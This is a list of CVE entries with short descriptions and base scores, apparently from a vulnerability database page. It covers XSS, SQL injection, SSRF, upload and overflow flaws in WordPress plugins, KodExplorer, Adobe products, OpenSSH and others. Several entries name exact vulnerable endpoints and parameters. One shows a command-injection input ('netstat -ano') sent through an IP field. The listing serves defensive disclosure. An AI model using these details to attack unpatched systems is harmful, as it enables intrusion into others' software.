CVE-2023-5432	The Jquery news ticker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'jquery-news-ticker' shortcode in versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-4489	The first S0 encryption key is generated with an uninitialized PRNG in Z/IP Gateway products running Silicon Labs Z/IP Gateway SDK v7.18.3 and earlier. This makes the first S0 key generated at startup predictable, potentially allowing network key prediction and unauthorized S0 network access.	6.4	More Details
CVE-2023-5413	The Image horizontal reel scroll slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'ihrss-gallery' shortcode in versions up to, and including, 13.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2023-49646	Improper authentication in some Zoom clients before version 5.16.5 may allow an authenticated user to conduct a denial of service via network access.	6.4	More Details
CVE-2023-6719	An XSS vulnerability has been detected in Repox, which allows an attacker to compromise interactions between a user and the vulnerable application, and can be exploited by a third party by sending a specially crafted JavaScript payload to a user, and thus gain full control of their session.	6.3	More Details
CVE-2023-46212	Missing Authorization, Cross-Site Request Forgery (CSRF) vulnerability in TienCOP WP EXtra allows Accessing Functionality Not Properly Constrained by ACLs, Cross Site Request Forgery.This issue affects WP EXtra: from n/a through 6.2.	6.3	More Details
CVE-2023-6850	A vulnerability was found in kalcaddle KodExplorer up to 4.51.03. It has been declared as critical. This vulnerability affects unknown code of the file /index.php?pluginApp/to/yzOffice/getFile of the component API Endpoint Handler. The manipulation of the argument path/file leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.52.01 is able to address this issue. The patch is identified as 5cf233f7556b442100cf67b5e92d57ceabb126c6. It is recommended to upgrade the affected component. VDB-248218 is the identifier assigned to this vulnerability.	6.3	More Details
CVE-2023-42483	A TOCTOU race condition in Samsung Mobile Processor Exynos 9820, Exynos 980, Exynos 1080, Exynos 2100, Exynos 2200, Exynos 1280, and Exynos 1380 can cause unexpected termination of a system.	6.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6851	A vulnerability was found in kalcaddle KodExplorer up to 4.51.03. It has been rated as critical. This issue affects the function unzipList of the file plugins/zipView/app.php of the component ZIP Archive Handler. The manipulation leads to code injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.52.01 is able to address this issue. The patch is named 5cf233f7556b442100cf67b5e92d57ceabb126c6. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-248219.	6.3	More Details
CVE-2023-6852	A vulnerability classified as critical has been found in kalcaddle KodExplorer up to 4.51.03. Affected is an unknown function of the file plugins/webodf/app.php. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.52.01 is able to address this issue. The name of the patch is 5cf233f7556b442100cf67b5e92d57ceabb126c6. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248220.	6.3	More Details
CVE-2023-6853	A vulnerability classified as critical was found in kalcaddle KodExplorer up to 4.51.03. Affected by this vulnerability is the function index of the file plugins/officeLive/app.php. The manipulation of the argument path leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.52.01 is able to address this issue. The identifier of the patch is 5cf233f7556b442100cf67b5e92d57ceabb126c6. It is recommended to upgrade the affected component. The identifier VDB-248221 was assigned to this vulnerability.	6.3	More Details
CVE-2023-6887	A vulnerability classified as critical has been found in saysky ForestBlog up to 20220630. This affects an unknown part of the file /admin/upload/img of the component Image Upload Handler. The manipulation of the argument filename leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-248247.	6.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49296	The Arduino Create Agent allows users to use the Arduino Create applications to upload code to any USB connected Arduino board directly from the browser. A vulnerability in versions prior to 1.3.6 affects the endpoint `/certificate.crt` and the way the web interface of the ArduinoCreateAgent handles custom error messages. An attacker that is able to persuade a victim into clicking on a malicious link can perform a Reflected Cross-Site Scripting attack on the web interface of the create agent, which would allow the attacker to execute arbitrary browser client side code. Version 1.3.6 contains a fix for the issue.	6.3	More Details
CVE-2023-6888	A vulnerability classified as critical was found in PHZ76 RtspServer 1.0.0. This vulnerability affects the function ParseRequestLine of the file RtspMesaage.cpp. The manipulation leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248248. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2023-6895	A vulnerability was found in Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK). It has been declared as critical. This vulnerability affects unknown code of the file /php/ping.php. The manipulation of the argument jsondata[ip] with the input netstat -ano leads to os command injection. The exploit has been disclosed to the public and may be used. Upgrading to version 4.1.0 is able to address this issue. It is recommended to upgrade the affected component. VDB-248254 is the identifier assigned to this vulnerability.	6.3	More Details
CVE-2023-6760	A vulnerability classified as critical was found in Thecosy IceCMS up to 2.0.1. This vulnerability affects unknown code. The manipulation leads to manage user sessions. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-247888.	6.3	More Details
CVE-2023-5115	An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.	6.3	More Details
CVE-2023-48762	Cross-Site Request Forgery (CSRF) vulnerability in Crocoblock JetElements For Elementor.This issue affects JetElements For Elementor: from n/a through 2.6.13.	6.3	More Details
CVE-2023-45184	IBM i Access Client Solutions 1.1.2 through 1.1.4 and 1.1.4.3 through 1.1.9.3 could allow an attacker to obtain a decryption key due to improper authority checks. IBM X-Force ID: 268270.	6.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-45172	IBM AIX 7.2, 7.3, and VIOS 3.1 could allow a non-privileged local user to exploit a vulnerability in AIX windows to cause a denial of service. IBM X-Force ID: 267970.	6.2	More Details
CVE-2023-50246	jq is a command-line JSON processor. Version 1.7 is vulnerable to heap-based buffer overflow. Version 1.7.1 contains a patch for this issue.	6.2	More Details
CVE-2023-50268	jq is a command-line JSON processor. Version 1.7 is vulnerable to stack-based buffer overflow in builds using decNumber. Version 1.7.1 contains a patch for this issue.	6.2	More Details
CVE-2020-17484	An Open Redirection vulnerability exists in Uffizio's GPS Tracker all versions allows an attacker to construct a URL within the application that causes a redirection to an arbitrary external domain.	6.1	More Details
CVE-2023-50771	Jenkins OpenId Connect Authentication Plugin 2.6 and earlier improperly determines that a redirect URL after login is legitimately pointing to Jenkins, allowing attackers to perform phishing attacks.	6.1	More Details
CVE-2023-5348	The Product Catalog Mode For WooCommerce WordPress plugin before 5.0.3 does not properly authorize settings updates or escape settings values, leading to stored XSS by unauthenticated users.	6.1	More Details
CVE-2023-6838	Reflected XSS vulnerability can be exploited by tampering a request parameter in Authentication Endpoint. This can be performed in both authenticated and unauthenticated requests.	6.1	More Details
CVE-2023-6867	The timing of a button click causing a popup to disappear was approximately the same length as the anti-clickjacking delay on permission prompts. It was possible to use this fact to surprise users by luring them to click where the permission grant button would be about to appear. This vulnerability affects Firefox ESR < 115.6 and Firefox < 121.	6.1	More Details
CVE-2023-40659	A reflected XSS vulnerability was discovered in the Easy Quick Contact module for Joomla.	6.1	More Details
CVE-2023-47575	An issue was discovered on Relyum RELY-PCIe 22.2.1 and RELY-REC 23.1.0 devices. The web interfaces of the Relyum devices are susceptible to reflected XSS.	6.1	More Details
CVE-2023-41618	Emlog Pro v2.1.14 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component /admin/article.php?active_savedraft.	6.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-41621	A Cross Site Scripting (XSS) vulnerability was discovered in Emlog Pro v2.1.14 via the component /admin/store.php.	6.1	More Details
CVE-2023-47623	Scrypted is a home video integration and automation platform. In versions 0.55.0 and prior, a reflected cross-site scripting vulnerability exists in the login page via the `redirect_uri` parameter. By specifying a url with the javascript scheme (`javascript:`), an attacker can run arbitrary JavaScript code after the login.	6.1	More Details
CVE-2023-6571	Cross-site Scripting (XSS) - Reflected in kubeflow/kubeflow	6.1	More Details
CVE-2023-47620	Scrypted is a home video integration and automation platform. In versions 0.55.0 and prior, a reflected cross-site scripting vulnerability exists in the plugin-http.ts file via the `owner' and 'pkg` parameters. An attacker can run arbitrary JavaScript code.	6.1	More Details
CVE-2023-46750	URL Redirection to Untrusted Site ('Open Redirect') vulnerability when "form" authentication is used in Apache Shiro. Mitigation: Update to Apache Shiro 1.13.0+ or 2.0.0-alpha-4+.	6.1	More Details
CVE-2023-40658	A reflected XSS vulnerability was discovered in the Clicky Analytics Dashboard module for Joomla.	6.1	More Details
CVE-2023-40657	A reflected XSS vulnerability was discovered in the Joomdoc component for Joomla.	6.1	More Details
CVE-2023-40656	A reflected XSS vulnerability was discovered in the Quickform component for Joomla.	6.1	More Details
CVE-2023-40655	A reflected XSS vulnerability was discovered in the Proforms Basic component for Joomla.	6.1	More Details
CVE-2023-49489	Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php.	6.1	More Details
CVE-2023-40628	A reflected XSS vulnerability was discovered in the Extplorer component for Joomla.	6.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-40627	A reflected XSS vulnerability was discovered in the LivingWord component for Joomla.	6.1	More Details
CVE-2023-6380	Open redirect vulnerability has been found in the Open CMS product affecting versions 14 and 15 of the 'Mercury' template. An attacker could create a specially crafted URL and send it to a specific user to redirect them to a malicious site and compromise them. Exploitation of this vulnerability is possible due to the fact that there is no proper sanitization of the 'URI' parameter.	6.1	More Details
CVE-2023-49343	Temporary data passed between application components by Budgie Extras Dropby applet could potentially be viewed or manipulated. The data is stored in a location that is accessible to any user who has local access to the system. Attackers may pre-create and control this file to present false information to users or deny access to the application and panel.	6.0	More Details
CVE-2023-49344	Temporary data passed between application components by Budgie Extras Window Shuffler applet could potentially be viewed or manipulated. The data is stored in a location that is accessible to any user who has local access to the system. Attackers may pre-create and control this file to present false information to users or deny access to the application and panel.	6.0	More Details
CVE-2023-49347	Temporary data passed between application components by Budgie Extras Windows Previews could potentially be viewed or manipulated. The data is stored in a location that is accessible to any user who has local access to the system. Attackers may read private information from windows, present false information to users, or deny access to the application.	6.0	More Details
CVE-2023-49342	Temporary data passed between application components by Budgie Extras Clockworks applet could potentially be viewed or manipulated. The data is stored in a location that is accessible to any user who has local access to the system. Attackers may pre-create and control this file to present false information to users or deny access to the application and panel.	6.0	More Details
CVE-2023-49346	Temporary data passed between application components by Budgie Extras WeatherShow applet could potentially be viewed or manipulated. The data is stored in a location that is accessible to any user who has local access to the system. Attackers may pre-create and control this file to present false information to users or deny access to the application and panel.	6.0	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49345	Temporary data passed between application components by Budgie Extras Takeabreak applet could potentially be viewed or manipulated. The data is stored in a location that is accessible to any user who has local access to the system. Attackers may pre-create and control this file to present false information to users or deny access to the application and panel.	6.0	More Details
CVE-2023-49189	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Getsocial, S.A. Social Share Buttons & Analytics Plugin – GetSocial.Io allows Stored XSS.This issue affects Social Share Buttons & Analytics Plugin – GetSocial.Io: from n/a through 4.3.12.	5.9	More Details
CVE-2023-49743	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jeff Starr Dashboard Widgets Suite allows Stored XSS.This issue affects Dashboard Widgets Suite: from n/a through 3.4.1.	5.9	More Details
CVE-2023-49165	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Real Big Plugins Client Dash allows Stored XSS.This issue affects Client Dash: from n/a through 2.2.1.	5.9	More Details
CVE-2023-49174	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in dFactory Responsive Lightbox & Gallery allows Stored XSS.This issue affects Responsive Lightbox & Gallery: from n/a through 2.4.5.	5.9	More Details
CVE-2023-35867	An improper handling of a malformed API answer packets to API clients in Bosch BT software products can allow an unauthenticated attacker to cause a Denial of Service (DoS) situation. To exploit this vulnerability an attacker has to replace an existing API server e.g. through Man-in-the-Middle attacks.	5.9	More Details
CVE-2023-49175	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kreativo Pro KP Fastest Tawk.To Chat allows Stored XSS.This issue affects KP Fastest Tawk.To Chat: from n/a through 1.1.1.	5.9	More Details
CVE-2023-49180	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ternstyle LLC Automatic Youtube Video Posts Plugin allows Stored XSS.This issue affects Automatic Youtube Video Posts Plugin: from n/a through 5.2.2.	5.9	More Details
CVE-2023-50979	Crypto++ (aka cryptopp) through 8.9.0 has a Marvin side channel during decryption with PKCS#1 v1.5 padding.	5.9	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49157	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Andreas Münch Multiple Post Passwords allows Stored XSS.This issue affects Multiple Post Passwords: from n/a through 1.1.1.	5.9	More Details
CVE-2023-49842	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpexpertsio Rocket Maintenance Mode & Coming Soon Page allows Stored XSS.This issue affects Rocket Maintenance Mode & Coming Soon Page: from n/a through 4.3.	5.9	More Details
CVE-2023-6711	Vulnerability exists in SCI IEC 60870-5-104 and HCI IEC 60870-5-104 that affects the RTU500 series product versions listed below. Specially crafted messages sent to the mentioned components are not validated properly and can result in buffer overflow and as final consequence to a reboot of an RTU500 CMU.	5.9	More Details
CVE-2023-6368	In WhatsUp Gold versions released before 2023.1, an API endpoint was found to be missing an authentication mechanism. It is possible for an unauthenticated attacker to enumerate information related to a registered device being monitored by WhatsUp Gold.	5.9	More Details
CVE-2023-49181	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Event Manager WP Event Manager – Events Calendar, Registrations, Sell Tickets with WooCommerce allows Stored XSS.This issue affects WP Event Manager – Events Calendar, Registrations, Sell Tickets with WooCommerce: from n/a through 3.1.40.	5.9	More Details
CVE-2023-49841	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in FancyThemes Optin Forms – Simple List Building Plugin for WordPress allows Stored XSS.This issue affects Optin Forms – Simple List Building Plugin for WordPress: from n/a through 1.3.3.	5.9	More Details
CVE-2023-49770	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Peter Raschendorfer Smart External Link Click Monitor [Link Log] allows Stored XSS.This issue affects Smart External Link Click Monitor [Link Log]: from n/a through 5.0.2.	5.9	More Details
CVE-2023-49195	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kyle Phillips Nested Pages allows Stored XSS.This issue affects Nested Pages: from n/a through 3.2.6.	5.9	More Details
CVE-2022-43843	IBM Spectrum Scale 5.1.5.0 through 5.1.5.1 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information. IBM X-Force ID: 239080.	5.9	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49184	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPDeveloper Parallax Slider Block allows Stored XSS.This issue affects Parallax Slider Block: from n/a through 1.2.4.	5.9	More Details
CVE-2023-49836	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brontobytes Cookie Bar allows Stored XSS.This issue affects Cookie Bar: from n/a through 2.0.	5.9	More Details
CVE-2023-49829	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themeum Tutor LMS – eLearning and online course solution allows Stored XSS.This issue affects Tutor LMS – eLearning and online course solution: from n/a through 2.2.4.	5.9	More Details
CVE-2023-47574	An issue was discovered on Relyum RELY-PCIe 22.2.1 and RELY-REC 23.1.0 devices. There is a Weak SMB configuration with signing disabled.	5.9	More Details
CVE-2023-49188	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ZealousWeb Track Geolocation Of Users Using Contact Form 7 allows Stored XSS.This issue affects Track Geolocation Of Users Using Contact Form 7: from n/a through 2.0.	5.9	More Details
CVE-2023-49767	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Biteship Biteship: Plugin Ongkos Kirim Kurir Instant, Reguler, Kargo allows Stored XSS.This issue affects Biteship: Plugin Ongkos Kirim Kurir Instant, Reguler, Kargo: from n/a through 2.2.24.	5.9	More Details
CVE-2023-49747	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WebFactory Ltd Guest Author allows Stored XSS.This issue affects Guest Author: from n/a through 2.3.	5.9	More Details
CVE-2023-49191	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Supsystic GDPR Cookie Consent by Supsystic allows Stored XSS.This issue affects GDPR Cookie Consent by Supsystic: from n/a through 2.1.2.	5.9	More Details
CVE-2023-49190	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Chandra Shekhar Sahu Site Offline Or Coming Soon Or Maintenance Mode allows Stored XSS.This issue affects Site Offline Or Coming Soon Or Maintenance Mode: from n/a through 1.5.6.	5.9	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-25642	There is a buffer overflow vulnerability in some ZTE mobile internet producsts. Due to insufficient validation of tcp port parameter, an authenticated attacker could use the vulnerability to perform a denial of service attack.	5.9	More Details
CVE-2023-48795	The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust.	5.9	More Details
CVE-2023-6051	An issue has been discovered in GitLab CE/EE affecting all versions before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. File integrity may be compromised when source code or installation packages are pulled from a specific tag.	5.7	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-45725	Design document functions which receive a user http request object may expose authorization or session cookie headers of the user who accesses the document. These design document functions are: * list * show * rewrite * update An attacker can leak the session component using an HTML-like output, insert the session as an external resource (such as an image), or store the credential in a _local document with an "update" function. For the attack to succeed the attacker has to be able to insert the design documents into the database, then manipulate a user to access a function from that design document. Workaround: Avoid using design documents from untrusted sources which may attempt to access or manipulate request object's headers	5.7	More Details
CVE-2023-42940	A session rendering issue was addressed with improved session tracking. This issue is fixed in macOS Sonoma 14.2.1. A user who shares their screen may unintentionally share the incorrect content.	5.7	More Details
CVE-2023-5310	A denial of service vulnerability exists in all Silicon Labs Z-Wave controller and endpoint devices running Z-Wave SDK v7.20.3 (Gecko SDK v4.3.3) and earlier. This attack can be carried out only by devices on the network sending a stream of packets to the device.	5.7	More Details
CVE-2023-47077	Adobe InDesign versions 19.0 (and earlier) and 17.4.2 (and earlier) are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-48635	Adobe After Effects versions 24.0.3 (and earlier) and 23.6.0 (and earlier) are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-48638	Adobe Substance 3D Designer versions 13.0.0 (and earlier) and 13.1.0 (and earlier) are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-51384	In ssh-agent in OpenSSH before 9.6, certain destination constraints can be incompletely applied. When destination constraints are specified during addition of PKCS#11-hosted private keys, these constraints are only applied to the first key, even if a PKCS#11 token returns multiple keys.	5.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6795	An OS command injection vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to disrupt system processes and potentially execute arbitrary code with limited privileges on the firewall.	5.5	More Details
CVE-2023-48637	Adobe Substance 3D Designer versions 13.0.0 (and earlier) and 13.1.0 (and earlier) are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-48636	Adobe Substance 3D Designer versions 13.0.0 (and earlier) and 13.1.0 (and earlier) are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-6771	A vulnerability, which was classified as critical, has been found in SourceCodester Simple Student Attendance System 1.0. This issue affects the function save_attendance of the file actions.class.php. The manipulation of the argument sid leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247907.	5.5	More Details
CVE-2023-44362	Adobe Prelude versions 22.6 and earlier are affected by an Access of Uninitialized Pointer vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-47061	Adobe Dimension versions 3.4.10 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-46686	A reliance on untrusted inputs in a security decision could be exploited by a privileged user to configure the Gallagher Command Centre Diagnostics Service to use less secure communication protocols. This issue affects: Gallagher Diagnostics Service prior to v1.3.0 (distributed in 9.00.1507(MR1)).	5.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2019-25158	A vulnerability has been found in pedroetb tts-api up to 2.1.4 and classified as critical. This vulnerability affects the function onSpeechDone of the file app.js. The manipulation leads to os command injection. Upgrading to version 2.2.0 is able to address this issue. The patch is identified as 29d9c25415911ea2f8b6de247cb5c4607d13d434. It is recommended to upgrade the affected component. VDB-248278 is the identifier assigned to this vulnerability.	5.5	More Details
CVE-2023-47062	Adobe Dimension versions 3.4.10 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-47081	Adobe Substance 3D Stager versions 2.1.1 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-47080	Adobe Substance 3D Stager versions 2.1.1 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-6765	A vulnerability was found in SourceCodester Online Tours & Travels Management System 1.0. It has been rated as critical. This issue affects the function prepare of the file email_setup.php. The manipulation of the argument name leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247895.	5.5	More Details
CVE-2023-47079	Adobe Dimension versions 3.4.10 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-6792	An OS command injection vulnerability in the XML API of Palo Alto Networks PAN-OS software enables an authenticated API user to disrupt system processes and potentially execute arbitrary code with limited privileges on the firewall.	5.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6720	An XSS vulnerability stored in Repox has been identified, which allows a local attacker to store a specially crafted JavaScript payload on the server, due to the lack of proper sanitisation of field elements, allowing the attacker to trigger the malicious payload when the application loads.	5.5	More Details
CVE-2023-47078	Adobe Dimension versions 3.4.10 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-50440	ZED containers produced by PRIMX ZED! for Windows before Q.2020.3 (ANSSI qualification submission); ZED! for Windows before Q.2021.2 (ANSSI qualification submission); ZONECENTRAL for Windows before Q.2021.2 (ANSSI qualification submission); ZONECENTRAL for Windows before 2023.5; ZEDMAIL for Windows before 2023.5; ZED! for Windows, Mac, Linux before 2023.5; ZEDFREE for Windows, Mac, Linux before 2023.5; or ZEDPRO for Windows, Mac, Linux before 2023.5 can be modified by an unauthenticated attacker to include a UNC reference so that it could trigger network access to an attacker-controlled computer when opened by the victim.	5.5	More Details
CVE-2023-47076	Adobe InDesign versions 19.0 (and earlier) and 17.4.2 (and earlier) are affected by a NULL Pointer Dereference vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	5.5	More Details
CVE-2023-6898	A vulnerability classified as critical has been found in SourceCodester Best Courier Management System 1.0. Affected is an unknown function of the file manage_user.php. The manipulation of the argument id leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248256.	5.5	More Details
CVE-2023-6794	An arbitrary file upload vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-write administrator with access to the web interface to disrupt system processes and potentially execute arbitrary code with limited privileges on the firewall.	5.5	More Details
CVE-2023-50441	Encrypted folders created by PRIMX ZONECENTRAL for Windows before Q.2021.2 (ANSSI qualification submission) or ZONECENTRAL for Windows before 2023.5 can be modified by an unauthenticated attacker to include a UNC reference so that it could trigger outbound network traffic from computers on which folders are opened.	5.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6885	A vulnerability was found in Tongda OA 2017 up to 11.10. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file general/vote/manage/delete.php. The manipulation of the argument DELETE_STR leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier VDB-248245 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	5.5	More Details
CVE-2022-40312	Server-Side Request Forgery (SSRF) vulnerability in GiveWP GiveWP – Donation Plugin and Fundraising Platform.This issue affects GiveWP – Donation Plugin and Fundraising Platform: from n/a through 2.25.1.	5.5	More Details
CVE-2023-50442	Encrypted folders created by PRIMX ZONECENTRAL through 2023.5 can be modified by a local attacker (with appropriate privileges) so that specific file types are excluded from encryption temporarily. (This modification can, however, be detected, as described in the Administrator Guide.)	5.5	More Details
CVE-2023-6902	A vulnerability has been found in codelyfe Stupid Simple CMS up to 1.2.4 and classified as critical. This vulnerability affects unknown code of the file /file-manager/upload.php. The manipulation of the argument file leads to unrestricted upload. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-248260.	5.5	More Details
CVE-2023-48595	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48596	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details
CVE-2023-48594	Adobe Experience Manager versions 6.5.18 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.	5.4	More Details

CVE Number	Description	Base Score	Reference
